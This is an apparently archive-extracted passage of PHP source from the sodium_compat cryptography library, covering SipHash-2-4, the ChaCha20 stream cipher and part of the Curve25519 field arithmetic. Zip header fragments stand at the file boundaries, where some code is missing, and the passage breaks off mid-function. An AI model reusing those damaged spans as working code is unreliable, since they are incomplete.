Siphash-2-4 using only 32-bit numbers. * * When we split an int into two, the higher bits go to the lower index. * e.g. 0xDEADBEEFAB10C92D becomes [ * 0 => 0xDEADBEEF, * 1 => 0xAB10C92D * ]. * * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( 0x736f6d65, // 0 0x70736575, // 1 0x646f7261, // 2 0x6e646f6d, // 3 0x6c796765, // 4 0x6e657261, // 5 0x74656462, // 6 0x79746573 // 7 ); // v0 => $v[0], $v[1] // v1 => $v[2], $v[3] // v2 => $v[4], $v[5] // v3 => $v[6], $v[7] # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( self::load_4(self::substr($key, 4, 4)), self::load_4(self::substr($key, 0, 4)), self::load_4(self::substr($key, 12, 4)), self::load_4(self::substr($key, 8, 4)) ); // k0 => $k[0], $k[1] // k1 => $k[2], $k[3] # b = ( ( u64 )inlen ) << 56; $b = array( $inlen << 24, 0 ); // See docblock for why the 0th index gets the higher bits. # v3 ^= k1; $v[6] ^= $k[2]; $v[7] ^= $k[3]; # v2 ^= k0; $v[4] ^= $k[0]; $v[5] ^= $k[1]; # v1 ^= k1; $v[2] ^= $k[2]; $v[3] ^= $k[3]; # v0 ^= k0; $v[0] ^= $k[0]; $v[1] ^= $k[1]; $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = array( self::load_4(self::substr($in, 4, 4)), self::load_4(self::substr($in, 0, 4)) ); # v3 ^= m; $v[6] ^= $m[0]; $v[7] ^= $m[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] ^= $m[0]; $v[1] ^= $m[1]; $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b[0] |= self::chrToInt($in[6]) << 16; case 6: $b[0] |= self::chrToInt($in[5]) << 8; case 5: $b[0] |= self::chrToInt($in[4]); case 4: $b[1] |= self::chrToInt($in[3]) << 24; case 3: $b[1] |= self::chrToInt($in[2]) << 16; case 2: $b[1] |= self::chrToInt($in[1]) << 8; case 1: $b[1] |= self::chrToInt($in[0]); case 0: break; } // See docblock for why the 0th index gets the higher bits. # v3 ^= b; $v[6] ^= $b[0]; $v[7] ^= $b[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] ^= $b[0]; $v[1] ^= $b[1]; // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[5] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) . self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]); } } PK*L[I22src/Core/ChaCha20.phpnu[> (32 - $n)) ) ); } /** * The ChaCha20 quarter round function. Works on four 32-bit integers. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $c * @param int $d * @return array */ protected static function quarterRound($a, $b, $c, $d) { # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 7); return array((int) $a, (int) $b, (int) $c, (int) $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws TypeError * @throws SodiumException */ public static function encryptBytes( ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ $j0 = (int) $ctx[0]; $j1 = (int) $ctx[1]; $j2 = (int) $ctx[2]; $j3 = (int) $ctx[3]; $j4 = (int) $ctx[4]; $j5 = (int) $ctx[5]; $j6 = (int) $ctx[6]; $j7 = (int) $ctx[7]; $j8 = (int) $ctx[8]; $j9 = (int) $ctx[9]; $j10 = (int) $ctx[10]; $j11 = (int) $ctx[11]; $j12 = (int) $ctx[12]; $j13 = (int) $ctx[13]; $j14 = (int) $ctx[14]; $j15 = (int) $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = (int) $j0; $x1 = (int) $j1; $x2 = (int) $j2; $x3 = (int) $j3; $x4 = (int) $j4; $x5 = (int) $j5; $x6 = (int) $j6; $x7 = (int) $j7; $x8 = (int) $j8; $x9 = (int) $j9; $x10 = (int) $j10; $x11 = (int) $j11; $x12 = (int) $j12; $x13 = (int) $j13; $x14 = (int) $j14; $x15 = (int) $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ /** @var int $x0 */ $x0 = ($x0 & 0xffffffff) + $j0; /** @var int $x1 */ $x1 = ($x1 & 0xffffffff) + $j1; /** @var int $x2 */ $x2 = ($x2 & 0xffffffff) + $j2; /** @var int $x3 */ $x3 = ($x3 & 0xffffffff) + $j3; /** @var int $x4 */ $x4 = ($x4 & 0xffffffff) + $j4; /** @var int $x5 */ $x5 = ($x5 & 0xffffffff) + $j5; /** @var int $x6 */ $x6 = ($x6 & 0xffffffff) + $j6; /** @var int $x7 */ $x7 = ($x7 & 0xffffffff) + $j7; /** @var int $x8 */ $x8 = ($x8 & 0xffffffff) + $j8; /** @var int $x9 */ $x9 = ($x9 & 0xffffffff) + $j9; /** @var int $x10 */ $x10 = ($x10 & 0xffffffff) + $j10; /** @var int $x11 */ $x11 = ($x11 & 0xffffffff) + $j11; /** @var int $x12 */ $x12 = ($x12 & 0xffffffff) + $j12; /** @var int $x13 */ $x13 = ($x13 & 0xffffffff) + $j13; /** @var int $x14 */ $x14 = ($x14 & 0xffffffff) + $j14; /** @var int $x15 */ $x15 = ($x15 & 0xffffffff) + $j15; /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 ^= self::load_4(self::substr($message, 0, 4)); $x1 ^= self::load_4(self::substr($message, 4, 4)); $x2 ^= self::load_4(self::substr($message, 8, 4)); $x3 ^= self::load_4(self::substr($message, 12, 4)); $x4 ^= self::load_4(self::substr($message, 16, 4)); $x5 ^= self::load_4(self::substr($message, 20, 4)); $x6 ^= self::load_4(self::substr($message, 24, 4)); $x7 ^= self::load_4(self::substr($message, 28, 4)); $x8 ^= self::load_4(self::substr($message, 32, 4)); $x9 ^= self::load_4(self::substr($message, 36, 4)); $x10 ^= self::load_4(self::substr($message, 40, 4)); $x11 ^= self::load_4(self::substr($message, 44, 4)); $x12 ^= self::load_4(self::substr($message, 48, 4)); $x13 ^= self::load_4(self::substr($message, 52, 4)); $x14 ^= self::load_4(self::substr($message, 56, 4)); $x15 ^= self::load_4(self::substr($message, 60, 4)); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ ++$j12; if ($j12 & 0xf0000000) { throw new SodiumException('Overflow'); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x4 & 0xffffffff)) . self::store32_le((int) ($x5 & 0xffffffff)) . self::store32_le((int) ($x6 & 0xffffffff)) . self::store32_le((int) ($x7 & 0xffffffff)) . self::store32_le((int) ($x8 & 0xffffffff)) . self::store32_le((int) ($x9 & 0xffffffff)) . self::store32_le((int) ($x10 & 0xffffffff)) . self::store32_le((int) ($x11 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PK*L[ &-&-src/Core/Curve25519.phpnu[ $arr */ $arr = array(); for ($i = 0; $i < 10; ++$i) { $arr[$i] = (int) ($f[$i] + $g[$i]); } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_cmov( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g, $b = 0 ) { /** @var array $h */ $h = array(); $b *= -1; for ($i = 0; $i < 10; ++$i) { $x = (($f[$i] ^ $g[$i]) & $b); $h[$i] = ($f[$i]) ^ $x; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Fe * @throws RangeException * @throws TypeError */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } $h0 = self::load_4($s); $h1 = self::load_3(self::substr($s, 4, 3)) << 6; $h2 = self::load_3(self::substr($s, 7, 3)) << 5; $h3 = self::load_3(self::substr($s, 10, 3)) << 3; $h4 = self::load_3(self::substr($s, 13, 3)) << 2; $h5 = self::load_4(self::substr($s, 16, 4)); $h6 = self::load_3(self::substr($s, 20, 3)) << 7; $h7 = self::load_3(self::substr($s, 23, 3)) << 5; $h8 = self::load_3(self::substr($s, 26, 3)) << 4; $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $h * @return string */ public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h) { $h0 = (int) $h[0]; $h1 = (int) $h[1]; $h2 = (int) $h[2]; $h3 = (int) $h[3]; $h4 = (int) $h[4]; $h5 = (int) $h[5]; $h6 = (int) $h[6]; $h7 = (int) $h[7]; $h8 = (int) $h[8]; $h9 = (int) $h[9]; $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25; $q = ($h0 + $q) >> 26; $q = ($h1 + $q) >> 25; $q = ($h2 + $q) >> 26; $q = ($h3 + $q) >> 25; $q = ($h4 + $q) >> 26; $q = ($h5 + $q) >> 25; $q = ($h6 + $q) >> 26; $q = ($h7 + $q) >> 25; $q = ($h8 + $q) >> 26; $q = ($h9 + $q) >> 25; $h0 += self::mul($q, 19, 5); $carry0 = $h0 >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry1 = $h1 >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry2 = $h2 >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry3 = $h3 >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry4 = $h4 >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry5 = $h5 >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry6 = $h6 >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry7 = $h7 >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry8 = $h8 >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = $h9 >> 25; $h9 -= $carry9 << 25; /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } /** @var string $zero */ /** @var string $str */ $str = self::fe_tobytes($f); return !self::verify_32($str, (string) $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { // Ensure limbs aren't oversized. $f = self::fe_normalize($f); $g = self::fe_normalize($g); $f0 = $f[0]; $f1 = $f[1]; $f2 = $f[2]; $f3 = $f[3]; $f4 = $f[4]; $f5 = $f[5]; $f6 = $f[6]; $f7 = $f[7]; $f8 = $f[8]; $f9 = $f[9]; $g0 = $g[0]; $g1 = $g[1]; $g2 = $g[2]; $g3 = $g[3]; $g4 = $g[4]; $g5 = $g[5]; $g6 = $g[6]; $g7 = $g[7]; $g8 = $g[8]; $g9 = $g[9]; $g1_19 = self::mul($g1, 19, 5); $g2_19 = self::mul($g2, 19, 5); $g3_19 = self::mul($g3, 19, 5); $g4_19 = self::mul($g4, 19, 5); $g5_19 = self::mul($g5, 19, 5); $g6_19 = self::mul($g6, 19, 5); $g7_19 = self::mul($g7, 19, 5); $g8_19 = self::mul($g8, 19, 5); $g9_19 = self::mul($g9, 19, 5); $f1_2 = $f1 << 1; $f3_2 = $f3 << 1; $f5_2 = $f5 << 1; $f7_2 = $f7 << 1; $f9_2 = $f9 << 1; $f0g0 = self::mul($f0, $g0, 26); $f0g1 = self::mul($f0, $g1, 25); $f0g2 = self::mul($f0, $g2, 26); $f0g3 = self::mul($f0, $g3, 25); $f0g4 = self::mul($f0, $g4, 26); $f0g5 = self::mul($f0, $g5, 25); $f0g6 = self::mul($f0, $g6, 26); $f0g7 = self::mul($f0, $g7, 25); $f0g8 = self::mul($f0, $g8, 26); $f0g9 = self::mul($f0, $g9, 26); $f1g0 = self::mul($f1, $g0, 26); $f1g1_2 = self::mul($f1_2, $g1, 25); $f1g2 = self::mul($f1, $g2, 26); $f1g3_2 = self::mul($f1_2, $g3, 25); $f1g4 = self::mul($f1, $g4, 26); $f1g5_2 = self::mul($f1_2, $g5, 25); $f1g6 = self::mul($f1, $g6, 26); $f1g7_2 = self::mul($f1_2, $g7, 25); $f1g8 = self::mul($f1, $g8, 26); $f1g9_38 = self::mul($g9_19, $f1_2, 26); $f2g0 = self::mul($f2, $g0, 26); $f2g1 = self::mul($f2, $g1, 25); $f2g2 = self::mul($f2, $g2, 26); $f2g3 = self::mul($f2, $g3, 25); $f2g4 = self::mul($f2, $g4, 26); $f2g5 = self::mul($f2, $g5, 25); $f2g6 = self::mul($f2, $g6, 26); $f2g7 = self::mul($f2, $g7, 25); $f2g8_19 = self::mul($g8_19, $f2, 26); $f2g9_19 = self::mul($g9_19, $f2, 26); $f3g0 = self::mul($f3, $g0, 26); $f3g1_2 = self::mul($f3_2, $g1, 25); $f3g2 = self::mul($f3, $g2, 26); $f3g3_2 = self::mul($f3_2, $g3, 25); $f3g4 = self::mul($f3, $g4, 26); $f3g5_2 = self::mul($f3_2, $g5, 25); $f3g6 = self::mul($f3, $g6, 26); $f3g7_38 = self::mul($g7_19, $f3_2, 26); $f3g8_19 = self::mul($g8_19, $f3, 25); $f3g9_38 = self::mul($g9_19, $f3_2, 26); $f4g0 = self::mul($f4, $g0, 26); $f4g1 = self::mul($f4, $g1, 25); $f4g2 = self::mul($f4, $g2, 26); $f4g3 = self::mul($f4, $g3, 25); $f4g4 = self::mul($f4, $g4, 26); $f4g5 = self::mul($f4, $g5, 25); $f4g6_19 = self::mul($g6_19, $f4, 26); $f4g7_19 = self::mul($g7_19, $f4, 26); $f4g8_19 = self::mul($g8_19, $f4, 26); $f4g9_19 = self::mul($g9_19, $f4, 26); $f5g0 = self::mul($f5, $g0, 26); $f5g1_2 = self::mul($f5_2, $g1, 25); $f5g2 = self::mul($f5, $g2, 26); $f5g3_2 = self::mul($f5_2, $g3, 25); $f5g4 = self::mul($f5, $g4, 26); $f5g5_38 = self::mul($g5_19, $f5_2, 26); $f5g6_19 = self::mul($g6_19, $f5, 25); $f5g7_38 = self::mul($g7_19, $f5_2, 26); $f5g8_19 = self::mul($g8_19, $f5, 25); $f5g9_38 = self::mul($g9_19, $f5_2, 26); $f6g0 = self::mul($f6, $g0, 26); $f6g1 = self::mul($f6, $g1, 25); $f6g2 = self::mul($f6, $g2, 26); $f6g3 = self::mul($f6, $g3, 25); $f6g4_19 = self::mul($g4_19, $f6, 26); $f6g5_19 = self::mul($g5_19, $f6, 26); $f6g6_19 = self::mul($g6_19, $f6, 26); $f6g7_19 = self::mul($g7_19, $f6, 26); $f6g8_19 = self::mul($g8_19, $f6, 26); $f6g9_19 = self::mul($g9_19, $f6, 26); $f7g0 = self::mul($f7, $g0, 26); $f7g1_2 = self::mul($f7_2, $g1, 25); $f7g2 = self::mul($f7, $g2, 26); $f7g3_38 = self::mul($g3_19, $f7_2, 26); $f7g4_19 = self::mul($g4_19, $f7, 26); $f7g5_38 = self::mul($g5_19, $f7_2, 26); $f7g6_19 = self::mul($g6_19, $f7, 25); $f7g7_38 = self::mul($g7_19, $f7_2, 26); $f7g8_19 = self::mul($g8_19, $f7, 25); $f7g9_38 = self::mul($g9_19,$f7_2, 26); $f8g0 = self::mul($f8, $g0, 26); $f8g1 = self::mul($f8, $g1, 25); $f8g2_19 = self::mul($g2_19, $f8, 26); $f8g3_19 = self::mul($g3_19, $f8, 26); $f8g4_19 = self::mul($g4_19, $f8, 26); $f8g5_19 = self::mul($g5_19, $f8, 26); $f8g6_19 = self::mul($g6_19, $f8, 26); $f8g7_19 = self::mul($g7_19, $f8, 26); $f8g8_19 = self::mul($g8_19, $f8, 26); $f8g9_19 = self::mul($g9_19, $f8, 26); $f9g0 = self::mul($f9, $g0, 26); $f9g1_38 = self::mul($g1_19, $f9_2, 26); $f9g2_19 = self::mul($g2_19, $f9, 25); $f9g3_38 = self::mul($g3_19, $f9_2, 26); $f9g4_19 = self::mul($g4_19, $f9, 25); $f9g5_38 = self::mul($g5_19, $f9_2, 26); $f9g6_19 = self::mul($g6_19, $f9, 25); $f9g7_38 = self::mul($g7_19, $f9_2, 26); $f9g8_19 = self::mul($g8_19, $f9, 25); $f9g9_38 = self::mul($g9_19, $f9_2, 26); $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 